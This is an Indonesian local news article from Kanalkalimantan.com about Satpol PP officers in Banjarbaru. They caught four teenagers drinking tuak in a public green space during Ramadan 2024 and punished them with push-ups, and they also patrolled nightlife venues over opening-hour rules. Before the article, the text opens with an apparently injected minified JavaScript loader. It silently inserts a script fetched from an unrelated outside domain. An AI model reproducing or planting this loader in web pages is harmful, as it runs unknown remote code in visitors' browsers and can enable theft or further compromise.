(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Imbauan kepatuhan terkait keamanan dan ketertiban di bulan Ramadan nampaknya tak diindahkan sejumlah remaja di Kota Banjarbaru.
Terbukti, Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru sudah mengamankan sekumpulan remaja yang tengah asyik menegak minuman keras (miras).
Kejadian itu terjadi persis pada malam sebelum peristiwa balap liar di depan kantor Balai Kota Banjarbaru, Selasa (12/3/2024) sekitar pukul 23.00 Wita.
Kasi Opsdal Satpol PP Babjarbaru, Yanto Hidayat membeberkan, petugas mengamankan empat remaja laki-laki yang mengkonsumsi tuak di salah satu Ruang Terbuka Hijau (RTH) di Kota Banjarbaru.
Baca juga: Kasir Mini Market Ikan Asin Tilep Uang Ratusan Juta, Sehari Rata-rata Rp2 Juta
“Kita menyisir ke beberapa RTH, salah satu RTH didapati sekumpulan anak remaja sedang berkumpul sambil minum tuak,” ujar Yanto Hidayat, Kamis (14/3/2024) pagi.
Mendapati hal tersebut, petugas langsung mengamankan remaja itu dengan memberikannya tindakan fisik.
“Kita berikan tindakan yang sifatnya fisik terukur, seperti push up jumping jack yang tidak melebihi kemampuan mereka,” ungkap dia.
Berkaitan dengan giat cipta kondisi ini juga, petugas Satpol PP turut menyisiri Tempat Hiburan Malam (THM) yang ada di Kota Banjarbaru, seperti tempat biliar, karaoke, dan kafe.
Baca juga: 18 Korban Investasi Bodong ‘Bisnis’ Solar Istri Polisi Kehilangan Uang Rp8 Miliar
“Dari hasil pantauan kami di lapangan mereka patuh tidak ada yang buka,” tutur Yanto
Meski begitu, masih ada pelaku usaha yang ternyata masih tidak mengetahui adanya Peraturan Daerah (Perda) di Kota Banjarbaru tentang bulan Ramadan.
“Seperti operasional mereka harus mematuhi situasi dan keadaan di Kota Banjarbaru, yang mana tempat usaha mereka harus mulai buka pada pukul 15.00 Wita, maka kita lakukan pemanggilan berkaitan dengan hal tersebut untuk diberikan penjelasan,” bebernya.
Jika masih ada pelaku tempat usaha yang bandel membuka di luar jam operasional, Yanto menegaskan akan dilakukan penindakan oleh petugas.
“Dalam pelaksanaan kegiatan, mereka kita himbau kembali, kalau memang bandel kita tegaskan dan kita ingatkan lagi,” imbuhnya.
Baca juga: Balap Liar Depan Balai Kota, Ketua DPRD Minta Ada Patroli
Bagi pelaku tempat usaha yang didapati berulang-ulang melanggar Perda tersebut, karena petugas akan tidak segan untuk menutup tempat usaha tersebut.
“Jika yang besangkutan masih tidak bisa menaati dan menyesuaikan dengan peraturan di Kota Banjarbaru dengan tegas kita tutup,” tegas dia.
Lebih jauh dirinya menerangkan bahwa giat cipta kondisi ini akan terus digencarkan selama bulan Ramadan.
Petugas akan menjadwalkan patroli siang hingga malam ke tempat-tempat yang terindikasi ada pelanggaran Perda.
Baca juga: Tergiur Iming-iming Fee Investasi ‘Bisnis’ Solar, Para Korban Pilih Laporkan FN ke Polisi
“Tetap kita upayakan dengan situasi dan kondisi yang memungkinkan bisa kita tindak, tidak hanya malam saja, namun pada siang hingga sore hari juga,” tuntas Yanto. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
This website uses cookies.